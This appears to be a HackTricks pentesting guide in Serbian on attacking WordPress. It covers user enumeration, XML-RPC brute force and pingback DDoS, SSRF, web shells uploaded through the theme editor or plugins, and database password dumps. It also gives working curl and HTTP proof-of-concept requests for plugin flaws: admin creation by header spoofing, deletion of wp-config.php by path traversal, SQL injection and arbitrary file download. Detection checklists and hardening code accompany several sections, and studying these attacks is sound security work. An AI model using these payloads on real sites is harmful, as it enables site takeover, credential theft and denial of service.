Wordpress
Reading time: 26 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
-
Otpremljene datoteke idu u:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt
-
Fajlovi tema se nalaze u /wp-content/themes/, tako da ako promenite neki php fajl teme da biste dobili RCE verovatno ćete koristiti tu putanju. Na primer: Koristeći theme twentytwelve možete pristupiti fajlu 404.php u: /wp-content/themes/twentytwelve/404.php
-
Još jedan koristan URL može biti: /wp-content/themes/default/404.php
-
U wp-config.php možete pronaći root lozinku baze podataka.
-
Podrazumevane putanje za login koje treba proveriti: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Glavni WordPress fajlovi
index.php
license.txt
sadrži korisne informacije kao što je verzija WordPress-a koja je instalirana.wp-activate.php
se koristi za proces aktivacije putem email-a prilikom podešavanja novog WordPress sajta.- Login folderi (mogu biti preimenovani da bi se sakrili):
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
xmlrpc.php
je fajl koji predstavlja funkcionalnost WordPress-a koja omogućava prenos podataka koristeći HTTP kao transportni mehanizam i XML kao mehanizam enkodiranja. Ovaj tip komunikacije je zamenjen WordPress REST API.- Folder
wp-content
je glavni direktorijum u kome se čuvaju plugins i themes. wp-content/uploads/
je direktorijum gde se čuvaju svi fajlovi upload-ovani na platformu.wp-includes/
je direktorijum gde se nalaze core fajlovi, kao što su sertifikati, fontovi, JavaScript fajlovi i widgets.wp-sitemap.xml
U Wordpress verzijama 5.5 i novijim, WordPress generiše sitemap XML fajl sa svim javnim postovima i javno query-abilnim tipovima postova i taksonomijama.
Post exploitation
- Fajl
wp-config.php
sadrži informacije potrebne WordPress-u da se poveže na bazu podataka kao što su ime baze, host baze, username i password, authentication keys i salts, i prefix tabela u bazi. Ovaj konfiguracioni fajl se takođe može koristiti za aktiviranje DEBUG moda, što može biti korisno pri otklanjanju problema.
Permissions korisnika
- Administrator
- Editor: Objavljuje i upravlja svojim i tuđim postovima
- Author: Objavljuje i upravlja sopstvenim postovima
- Contributor: Piše i upravlja svojim postovima, ali ne može da ih objavi
- Subscriber: Pregleda postove i uređuje svoj profil
Passive Enumeration
Get WordPress version
Proverite da li možete pronaći fajlove /license.txt
ili /readme.html
Unutar source code stranice (primer sa https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
- CSS link fajlovi
- JavaScript fajlovi
Preuzmi Plugins
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Preuzmi teme
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Ekstrakcija verzija uopšteno
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Aktivna enumeracija
Dodaci i teme
Verovatno nećete moći da pronađete sve dodatke i teme. Da biste otkrili sve, moraćete da aktivno Brute Force listu dodataka i tema (nadajmo se da postoje automatizovani alati koji sadrže te liste).
Korisnici
- ID Brute: Dobijate validne korisnike sa WordPress sajta Brute Forcing korisničkih ID-eva:
curl -s -I -X GET http://blog.example.com/?author=1
Ako su odgovori 200 ili 30X, to znači da je id važeći. Ako je odgovor 400, onda je id nevažeći.
- wp-json: Takođe možete pokušati da dobijete informacije o korisnicima upitom:
curl http://blog.example.com/wp-json/wp/v2/users
Još jedan /wp-json/
endpoint koji može otkriti neke informacije o korisnicima je:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Imajte na umu da ovaj endpoint izlaže samo korisnike koji su napravili post. Biće pružene samo informacije o korisnicima koji imaju ovu opciju omogućenu.
Takođe imajte na umu da /wp-json/wp/v2/pages može leak-ovati IP adrese.
- Login username enumeration: Prilikom prijave na
/wp-login.php
poruka je različita u zavisnosti od toga da li naznačeno korisničko ime postoji ili ne.
XML-RPC
Ako je xml-rpc.php
aktivan, možete izvršiti brute-force kredencijala ili ga koristiti za pokretanje DoS napada na druge resurse. (You can automate this process using this for example).
Da biste proverili da li je aktivan, pokušajte da pristupite /xmlrpc.php i pošaljete ovaj zahtev:
Proveri
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
Credentials Bruteforce
wp.getUserBlogs
, wp.getCategories
or metaWeblog.getUsersBlogs
su neki od metoda koji se mogu koristiti za brute-force credentials. Ako možete pronaći bilo koji od njih, možete poslati nešto poput:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Poruka "Incorrect username or password" u odgovoru sa statusnim kodom 200 treba da se pojavi ako kredencijali nisu validni.
Koristeći ispravne kredencijale možete otpremiti fajl. U odgovoru će se pojaviti putanja (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Also there is a faster way to brute-force credentials using system.multicall
as you can try several credentials on the same request:
.png)
Zaobilaženje 2FA
Ova metoda je namenjena programima, a ne ljudima, i zastarela je, pa ne podržava 2FA. Dakle, ako imate validne creds ali je glavni ulaz zaštićen 2FA, možda ćete moći zloupotrebiti xmlrpc.php da se prijavite koristeći te creds i zaobiđete 2FA. Imajte na umu da nećete moći da izvršite sve akcije koje možete kroz konzolu, ali ipak možete uspeti da dođete do RCE kao što Ippsec objašnjava u https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s
DDoS ili port scanning
Ako u listi pronađete metodu pingback.ping, možete naterati Wordpress da pošalje proizvoljan zahtev na bilo koji host/port.
Ovo se može iskoristiti da naterate hiljade Wordpress sajtova da pristupe jednoj lokaciji (tako se u toj lokaciji izaziva DDoS) ili možete iskoristiti da naterate Wordpress da scan neku internu network (možete navesti bilo koji port).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
Ako dobijete faultCode sa vrednošću većom od 0 (17), to znači da je port otvoren.
Pogledajte upotrebu system.multicall
u prethodnom odeljku da naučite kako da zloupotrebite ovu metodu da prouzrokujete DDoS.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
wp-cron.php DoS
Ovaj fajl obično postoji pod root direktorijumom Wordpress sajta: /wp-cron.php
Kada se ovaj fajl pristupi, izvršava se "težak" MySQL upit, pa može biti iskorišćen od strane napadača da izazove DoS.
Takođe, podrazumevano, wp-cron.php
se poziva pri svakom učitavanju stranice (svaki put kada klijent zahteva bilo koju Wordpress stranicu), što na sajtovima sa velikim saobraćajem može izazvati probleme (DoS).
Preporučuje se onemogućiti Wp-Cron i kreirati pravi cronjob na hostu koji će izvršavati potrebne akcije u redovnim intervalima (bez izazivanja problema).
/wp-json/oembed/1.0/proxy - SSRF
Pokušajte da pristupite https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net i Worpress sajt može napraviti zahtev ka vama.
This is the response when it doesn't work:
SSRF
https://github.com/t0gu/quickpress/blob/master/core/requests.go
Ovaj alat proverava da li postoji methodName: pingback.ping i putanja /wp-json/oembed/1.0/proxy, i ako postoje, pokušava da ih iskoristi.
Automatski alati
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Dobijanje pristupa prepisivanjem jednog bita
Više radoznalost nego stvarni napad. U CTF-u https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man mogao si da preokreneš 1 bit u bilo kom wordpress fajlu. Tako si mogao da preokreneš bit na poziciji 5389
u fajlu /var/www/html/wp-includes/user.php
da bi NOP-ovao NOT (!
) operator.
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Panel RCE
Izmena php fajla iz korišćene teme (admin credentials needed)
Appearance → Theme Editor → 404 Template (sa desne strane)
Promenite sadržaj u php shell:
Potražite na internetu kako pristupiti toj ažuriranoj stranici. U ovom slučaju morate pristupiti ovde: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Možete koristiti:
use exploit/unix/webapp/wp_admin_shell_upload
da biste dobili sesiju.
Plugin RCE
PHP plugin
Može biti moguće otpremiti .php fajlove kao plugin.
Kreirajte svoj php backdoor, na primer koristeći:
Zatim dodajte novi plugin:
Otpremajte plugin i kliknite Install Now:
Kliknite na Procced:
Verovatno ovo neće naizgled ništa uraditi, ali ako odete u Media, videćete da je vaš shell otpremljen:
Pristupite mu i videćete URL za izvršenje reverse shell-a:
Uploading and activating malicious plugin
Ova metoda uključuje instalaciju zlonamernog plugina koji je poznat kao ranjiv i može se iskoristiti za dobivanje web shell-a. Proces se izvodi kroz WordPress dashboard na sledeći način:
- Plugin Acquisition: plugin se dobavlja iz izvora kao što je Exploit DB, na primer here.
- Plugin Installation:
- Idite na WordPress dashboard, zatim na
Dashboard > Plugins > Upload Plugin
. - Otpremajte zip fajl preuzetog plugina.
- Plugin Activation: Kada je plugin uspešno instaliran, mora biti aktiviran preko dashboard-a.
- Exploitation:
- Sa pluginom "reflex-gallery" instaliranim i aktiviranim, može biti eksploatisan jer je poznato da je ranjiv.
- Metasploit framework obezbeđuje exploit za ovu ranjivost. Učitavanjem odgovarajućeg modula i izvršavanjem specifičnih komandi može se uspostaviti meterpreter sesija, čime se dobija neautorizovani pristup sajtu.
- Napominje se da je ovo samo jedan od mnogih načina da se iskoristi WordPress sajt.
Sadržaj uključuje vizuelna pomagala koja prikazuju korake u WordPress dashboard-u za instalaciju i aktivaciju plugina. Međutim, važno je napomenuti da je iskorišćavanje ranjivosti na ovakav način ilegalno i neetično bez odgovarajuće autorizacije. Ove informacije treba koristiti odgovorno i samo u zakonitom kontekstu, kao što je penetration testing uz izričitu dozvolu.
For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/
From XSS to RCE
- WPXStrike: WPXStrike je skripta dizajnirana da eskalira Cross-Site Scripting (XSS) ranjivost u Remote Code Execution (RCE) ili druge kritične ranjivosti u WordPress-u. Za više informacija pogledajte this post. Ona pruža podršku za Wordpress Versions 6.X.X, 5.X.X and 4.X.X. i omogućava:
- Privilege Escalation: Kreira korisnika u WordPress-u.
- (RCE) Custom Plugin (backdoor) Upload: Otpremite svoj custom plugin (backdoor) u WordPress.
- (RCE) Built-In Plugin Edit: Uređuje ugrađene plugine u WordPress-u.
- (RCE) Built-In Theme Edit: Uređuje ugrađene teme u WordPress-u.
- (Custom) Custom Exploits: Custom Exploits za third-party WordPress plugine/teme.
Post Exploitation
Ekstrahujte korisnička imena i lozinke:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Promenite administratorsku lozinku:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Wordpress Plugins Pentest
Površina napada
Znanje o tome kako Wordpress plugin može izložiti funkcionalnost ključno je za pronalaženje ranjivosti u toj funkcionalnosti. Možete pronaći načine na koje plugin može izložiti funkcionalnost u sledećim tačkama i neke primere ranjivih pluginova u this blog post.
wp_ajax
Jedan od načina na koji plugin može izložiti funkcije korisnicima je putem AJAX handler-a. Oni mogu sadržati greške u logici, autorizaciji ili autentifikaciji. Štaviše, često se događa da ove funkcije zasnivaju i autentifikaciju i autorizaciju na postojanju Wordpress nonce-a koje bilo koji autentifikovani korisnik u Wordpress instanci može imati (bez obzira na ulogu).
Ovo su funkcije koje se mogu koristiti za izlaganje funkcije u pluginu:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
Korišćenje nopriv
čini endpoint dostupnim svim korisnicima (čak i neautentifikovanim).
caution
Štaviše, ako funkcija samo proverava autorizaciju korisnika pomoću funkcije wp_verify_nonce
, ta funkcija samo proverava da li je korisnik prijavljen, obično ne proverava ulogu korisnika. Dakle, korisnici sa niskim privilegijama mogu imati pristup akcijama koje zahtevaju visoke privilegije.
- REST API
Takođe je moguće izložiti funkcije iz WordPress-a registracijom REST API-ja koristeći funkciju register_rest_route
:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
The permission_callback
je callback funkcija koja proverava da li je dati korisnik ovlašćen da pozove API metodu.
Ako se koristi ugrađena funkcija __return_true
, jednostavno će preskočiti proveru permisija korisnika.
- Direktan pristup php fajlu
Naravno, Wordpress koristi PHP i fajlovi unutar plugin-a su direktno dostupni sa weba. Dakle, ako plugin otkriva neku ranjivu funkcionalnost koja se aktivira samo pristupom fajlu, biće eksploatabilna od strane bilo kog korisnika.
Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
Neki plugin-i implementiraju “trusted header” prečice za interne integracije ili reverse proxy-je i potom koriste taj header da postave trenutni korisnički kontekst za REST zahteve. Ako header nije kriptografski vezan za zahtev od strane upstream komponente, napadač ga može lažirati i pozvati privilegovane REST rute kao administrator.
- Uticaj: neautentifikovano eskaliranje privilegija do administratora kreiranjem novog administratora preko core users REST rute.
- Example header:
X-Wcpay-Platform-Checkout-User: 1
(forsira user ID 1, tipično prvi administratorski nalog). - Exploited route:
POST /wp-json/wp/v2/users
sa nizom povišenih uloga.
PoC
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
Zašto ovo funkcioniše
- Plugin preslikava client-controlled header u authentication state i zaobilazi capability checks.
- WordPress core očekuje
create_users
capability za ovaj route; plugin hack ga zaobilazi tako što direktno postavlja current user context iz header-a.
Očekivani indikatori uspeha
- HTTP 201 sa JSON body koji opisuje kreiranog korisnika.
- Novi admin korisnik vidljiv u
wp-admin/users.php
.
Kontrolna lista za detekciju
- Grep-ujte za
getallheaders()
,$_SERVER['HTTP_...']
, ili vendor SDK-ove koji čitaju custom headers da bi postavili user context (npr.wp_set_current_user()
,wp_set_auth_cookie()
). - Pregledajte REST registracije za privileged callbacks koji nemaju robusne
permission_callback
provere i umesto toga zavise od request headers. - Potražite upotrebe core user-management funkcija (
wp_insert_user
,wp_create_user
) unutar REST handler-a koje su ograničene samo vrednostima header-a.
Ojačavanje bezbednosti
- Nikada ne izvlačite authentication ili authorization iz client-controlled headers.
- Ako reverse proxy mora da ubacuje identity, završite trust na samom proxy-ju i uklonite dolazne kopije (npr.
unset X-Wcpay-Platform-Checkout-User
na edge-u), zatim prosledite signed token i verifikujte ga na server strani. - Za REST route-ove koji izvršavaju privileged actions, zahtevajte
current_user_can()
provere i strogipermission_callback
(ne koristite__return_true
). - Preferirajte first-party auth (cookies, application passwords, OAuth) umesto header “impersonation”.
References: pogledajte linkove na kraju ove stranice za javni slučaj i širu analizu.
Neautentifikovano proizvoljno brisanje fajlova preko wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress teme i plugin-ovi često izlažu AJAX handlers kroz wp_ajax_
i wp_ajax_nopriv_
hooks. Kada se koristi nopriv varijanta callback postaje dostupan neautentifikovanim posetiocima, pa svaka osetljiva akcija mora dodatno da implementira:
- A capability check (npr.
current_user_can()
ili baris_user_logged_in()
), i - A CSRF nonce validiran sa
check_ajax_referer()
/wp_verify_nonce()
, i - Stroga sanitizacija / validacija input-a.
Litho multipurpose tema (< 3.1) je zaboravila ta 3 kontrolna mehanizma u Remove Font Family funkciji i na kraju je isporučila sledeći kod (pojednostavljeno):
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
Problemi koje uvodi ovaj fragment koda:
- Neautentifikovan pristup – hook
wp_ajax_nopriv_
je registrovan. - Nema provere nonce / capability – bilo koji posetilac može pozvati endpoint.
- Nema sanitizacije putanje – korisnički kontrolisana
fontfamily
string je konkatenirana u fajl-sistemski put bez filtracije, omogućavajući klasičan../../
traversal.
Eksploatacija
Napadač može obrisati bilo koji fajl ili direktorijum ispod osnovnog direktorijuma uploads (obično <wp-root>/wp-content/uploads/
) slanjem jednog HTTP POST zahteva:
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
Pošto se wp-config.php
nalazi izvan uploads, četiri ../
sekvence su dovoljne na podrazumevanoj instalaciji. Brisanje wp-config.php
primorava WordPress da pri sledećem posetu uđe u installation wizard, omogućavajući potpuno preuzimanje sajta (napadač samo dostavlja novu DB konfiguraciju i kreira admin nalog).
Drugi značajni ciljevi uključuju plugin/theme .php
fajlove (npr. da se onesposobe security plugins) ili .htaccess
pravila.
Kontrolna lista za detekciju
- Bilo koji
add_action( 'wp_ajax_nopriv_...')
callback koji poziva funkcije za rad sa fajl sistemom (copy()
,unlink()
,$wp_filesystem->delete()
, itd.). - Konkatenacija nesanitizovanih korisničkih ulaza u putanjama (potražite
$_POST
,$_GET
,$_REQUEST
). - Nedostatak
check_ajax_referer()
icurrent_user_can()
/is_user_logged_in()
.
Ojačavanje
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
wp_send_json_error( 'forbidden', 403 );
}
check_ajax_referer( 'litho_fonts_nonce' );
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
wp_send_json_error( 'invalid path', 400 );
}
// … proceed …
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
// 🔒 NO wp_ajax_nopriv_ registration
tip
Uvek tretirajte svaku operaciju pisanja/brisanja na disku kao privilegovanu i dvaput proverite:
• Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via realpath()
plus str_starts_with()
).
Eskalacija privilegija putem obnavljanja zastarelih uloga i nedostatka autorizacije (ASE "View Admin as Role")
Mnogi pluginovi implementiraju funkciju "view as role" ili privremenog prebacivanja uloge tako što čuvaju originalne uloge u user meta kako bi ih kasnije mogli vratiti. Ako put za vraćanje zavisi samo od parametara zahteva (e.g., $_REQUEST['reset-for']
) i liste koju održava plugin, bez provere capabilities i validnog nonce-a, to postaje vertikalna eskalacija privilegija.
Primer iz stvarnog sveta pronađen je u Admin and Site Enhancements (ASE) pluginu (≤ 7.6.2.1). Grana za resetovanje vraćala je uloge na osnovu reset-for=<username>
ako je korisničko ime bilo u internom nizu $options['viewing_admin_as_role_are']
, ali nije izvršila ni current_user_can()
proveru ni verifikaciju nonce-a pre uklanjanja trenutnih uloga i ponovnog dodavanja sačuvanih uloga iz user meta _asenha_view_admin_as_original_roles
:
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
Zašto se može iskoristiti
- Veruje
$_REQUEST['reset-for']
i opciji plugina bez autorizacije na serverskoj strani. - Ako je korisnik prethodno imao više privilegija sačuvanih u
_asenha_view_admin_as_original_roles
i bio je degradiran, može ih vratiti pristupanjem reset putanji. - U nekim deployment-ima, bilo koji autentifikovani korisnik mogao je pokrenuti reset za drugo korisničko ime koje je još uvek prisutno u
viewing_admin_as_role_are
(neispravna autorizacija).
Preduslovi napada
- Ranjiva verzija plugina sa uključenom funkcionalnošću.
- Ciljni nalog ima u user meta sačuvanu zastarelu ulogu visokih privilegija iz ranije upotrebe.
- Bilo koja autentifikovana sesija; nedostaje nonce/capability u reset toku.
Eksploatacija (primer)
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
Na ranjivim build-ovima ovo uklanja trenutne uloge i ponovo dodaje sačuvane originalne uloge (npr. administrator
), efektivno eskalirajući privilegije.
Detection checklist
- Tražite funkcije za menjanje uloga koje čuvaju “original roles” u user meta (npr.
_asenha_view_admin_as_original_roles
). - Identifikujte putanje za reset/restore koje:
- Čitaju korisnička imena iz
$_REQUEST
/$_GET
/$_POST
. - Menjaju uloge pomoću
add_role()
/remove_role()
bezcurrent_user_can()
iwp_verify_nonce()
/check_admin_referer()
. - Autorizuju na osnovu niza opcija plugina (npr.
viewing_admin_as_role_are
) umesto na osnovu capabilities aktera.
Hardening
- Sprovodite provere capabilities na svakom ogranku koji menja stanje (npr.
current_user_can('manage_options')
ili strože). - Zahtevajte nonces za sve mutacije uloga/permisa i verifikujte ih:
check_admin_referer()
/wp_verify_nonce()
. - Nikada ne verujte korisničkim imenima iz zahteva; odredite ciljnog korisnika na serverskoj strani na osnovu autentifikovanog aktera i jasne politike.
- Invalidirajte stanje “original roles” prilikom ažuriranja profila/uloga kako biste izbegli vraćanje zastarelih visokoprivilegovanih uloga:
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
- Razmotrite skladištenje minimalnog stanja i korišćenje vremenski ograničenih tokena zaštićenih capability-jem za privremene promene uloga.
Nepotvrđena eskalacija privilegija putem cookie‑pouzdanog prebacivanja korisnika na javnom init (Service Finder “sf-booking”)
Neki pluginovi povezuju pomoćnike za prebacivanje korisnika na javni init
hook i određuju identitet iz kolačića koji kontroliše klijent. Ako kod pozove wp_set_auth_cookie()
bez provere autentikacije, capability-ja i važećeg nonce-a, bilo koji neautentifikovani posetilac može prisiliti prijavu kao proizvoljan ID korisnika.
Tipičan ranjiv obrazac (pojednostavljeno iz Service Finder Bookings ≤ 6.1):
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');
function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}
Zašto je eksploatabilno
- Javni
init
hook чини handler доступним неаутентификованим корисницима (немаis_user_logged_in()
заштите). - Идентитет се изводи из клијентски изменљивог cookie-ja (
original_user_id
). - Директан позив
wp_set_auth_cookie($uid)
пријављује подносиоца захтева као тог корисника без било каквих capability/nonce провера.
Експлоатација (без аутентификације)
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close
WAF considerations for WordPress/plugin CVEs
Generički edge/server WAF-ovi su podešeni za široke obrasce (SQLi, XSS, LFI). Mnoge ranjivosti visokog uticaja u WordPress/plugin su specifične za aplikaciju — greške u logici/autorizaciji koje liče na benigni saobraćaj osim ako engine ne razume WordPress rute i semantiku plugin‑ova.
Offensive notes
- Ciljajte krajnje tačke specifične za plugin sa čistim payloads:
admin-ajax.php?action=...
,wp-json/<namespace>/<route>
, custom file handlers, shortcodes. - Prvo testirajte neautentifikovane putanje (AJAX
nopriv
, REST sa permisivnimpermission_callback
, public shortcodes). Default payloads često uspevaju bez obfuscation. - Tipični slučajevi visokog uticaja: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Defensive notes
- Ne oslanjajte se na generičke WAF potpise za zaštitu plugin CVEs. Implementirajte zakrpe na nivou aplikacije specifične za ranjivost (virtual patches) ili brzo ažurirajte.
- Preferirajte pozitivne sigurnosne provere u kodu (capabilities, nonces, strict input validation) umesto negativnih regex filtera.
WordPress Protection
Regular Updates
Proverite da li su WordPress, plugins i themes ažurirani. Takođe potvrdite da je automatsko ažuriranje omogućeno u wp-config.php:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Takođe, instalirajte samo pouzdane WordPress pluginove i teme.
Security Plugins
Ostale preporuke
- Uklonite podrazumevanog admin korisnika
- Koristite jake lozinke i 2FA
- Periodično pregledajte dozvole korisnika
- Ograničite pokušaje prijave kako biste sprečili Brute Force napade
- Preimenujte
wp-admin.php
fajl i dozvolite pristup samo interno ili sa određenih IP adresa.
Neautentifikovana SQL Injection usled nedovoljne validacije (WP Job Portal <= 2.3.2)
WP Job Portal recruitment plugin je izložio zadatak savecategory koji na kraju izvršava sledeći ranjivi kod u modules/category/model.php::validateFormData()
:
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
Issues introduced by this snippet:
- Nesanitizovan korisnički unos –
parentid
dolazi direktno iz HTTP zahteva. - Spajanje stringova unutar WHERE klauzule – nema
is_numeric()
/esc_sql()
/ prepared statement. - Dostupno bez autentifikacije – iako se akcija izvršava preko
admin-post.php
, jedina provera je CSRF nonce (wp_verify_nonce()
), koji bilo koji posetilac može dohvatiti sa javne stranice koja ubacuje shortcode[wpjobportal_my_resumes]
.
Eksploatacija
- Uzmite novi nonce:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
- Injektujte proizvoljan SQL zloupotrebom
parentid
:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
Odgovor otkriva rezultat injektovanog upita ili menja bazu podataka, dokazujući SQLi.
Neautentifikovano preuzimanje proizvoljnog fajla / Path Traversal (WP Job Portal <= 2.3.2)
Još jedan zadatak, downloadcustomfile, dozvoljavao je posetiocima da preuzmu bilo koji fajl na disku putem Path Traversal-a. Ranjiva sink se nalazi u modules/customfield/model.php::downloadCustomUploadedFile()
:
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name
je pod kontrolom napadača i konkateniran bez sanitizacije. Ponovo, jedina barijera je CSRF nonce koji se može dobiti sa stranice rezimea.
Exploitation
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
Server vraća sadržaj wp-config.php
, leaking DB credentials i auth keys.
References
